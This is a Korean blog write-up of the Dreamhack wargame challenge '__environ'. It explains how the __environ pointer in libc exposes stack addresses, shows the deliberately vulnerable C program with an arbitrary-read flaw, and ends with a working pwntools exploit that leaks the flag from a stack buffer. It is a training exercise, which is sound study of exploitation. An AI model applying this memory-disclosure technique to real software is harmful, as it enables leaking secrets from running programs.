[Dreamhack Wargame] __environ

don't panic·2023년 12월 14일
0

System Hacking wargame

목록 보기
20/39

환경변수란? - 드림핵 베끼기


  • 매번 변할 수 있는 동적인 값들의 모임으로, 시스템의 정보를 갖고 있는 변수이다.
    이는 사용자가 직접 추가 및 수정하거나 삭제할 수 있는 값이다.
  • 기본적으로 리눅스 바이너리는 스택 주소를 포함하지 않기 때문에 상황에 따라 스택 주소를 전역 변수에 저장하는 코드가 있지 않는 한 바이너리 주소 내에서 스택 주소를 찾는 것은 불가능하다. 환경변수에 대한 정보는 스택 영역에 존재하며, 라이브러리 함수를 실행할 때에도 해당 정보를 참조하기 때문에 환경 변수를 가리키는 포인터가 별도로 선언되어 있다.
  • 따라서 해당 라이브러리 주소를 알고 있고, 임의 주소를 읽을 수 있는 취약점이 있다면 스택 주소를 알아낼 수 있다.

    위는 워게임 문제에서 제공받은 libc.so.6 파일에서 environ 심볼을 찾은 결과이다.

code 분석

// Name: environ.c
// Compile: gcc -o environ environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("./flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}
  • stdout의 주소를 받으면서 라이브러리 베이스 주소를 구할 수 있다.
  • read_file 함수에서 file_buf에 플래그 값을 저장해놓는다.
  • 그리고 main에서 원하는 주소의 값을 읽을 수 있다.

checksec

exploit 설계

1. __environ 주소 계산

  • stdout을 통해 라이브러리 베이스 주소를 계산하고, __environ 포인터의 주소를 알아낸다.

2. 스택 주소 계산

  • __environ 주소를 알아냈다면, 예제의 임의 주소 읽기 취약점을 통해 스택 주소를 알아내고, "./flag" 파일의 내용이 저장된 스택 버퍼의 주소를 계산한다.
  • 해당 주소는 환경 변수와 상대적인 거리가 매번 같으므로, 디버깅을 통해 주소의 간격을 알아낸다.

3. 파일 내용 읽기

  • 파일의 내용을 저장하고 있는 스택 버퍼 주소를 알아냈다면, 임의 주소 읽기 취약점을 통해 스택 버퍼를 출력하여 파일의 내용을 획득한다.

1. __environ 주소 계산

p.recvuntil(b'stdout: ')
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.symbols['_IO_2_1_stdout_']
environ = lb + libc.symbols['__environ']

2. 스택 주소 계산

  • flag 값이 저장된 스택 버퍼와 __environ 변수가 가리키는 스택 주소의 거리 간격은 디버깅을 통해 알아낼 수 있다.
  • gdb로 read_file 함수를 disassemble해서 file에서 flag를 읽어오는 부분에 중단점을 건다.
  • rcx가 flag 값을 담을 스택의 주소이다.
  • 중단점을 걸고 run을 한 뒤 __environ$rcx의 거리를 구하면 0x1568임을 알 수 있다.
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(environ).encode())
p_environ = u64(p.recvn(6).ljust(8, b'\x00'))
flag_buf = p_environ - 0x1568

3. 파일 내용 읽기

  • 위에서 flag가 담겨있는 스택의 버퍼 주소를 찾았으므로, 해당 주소 값을 프린트한다.
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(flag_buf).encode())
flag = p.recvline()

exploit

from pwn import *

p = remote('host3.dreamhack.games', 10323)
e = ELF('./environ')
libc = ELF('./libc.so.6')

p.recvuntil(b'stdout: ')
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.symbols['_IO_2_1_stdout_']
environ = lb + libc.symbols['__environ']

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(environ).encode())
p_environ = u64(p.recvn(6).ljust(8, b'\x00'))
flag_buf = p_environ - 0x1568

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(flag_buf).encode())
flag = p.recvline()

print('flag: ' + str(flag))
p.interactive()

0개의 댓글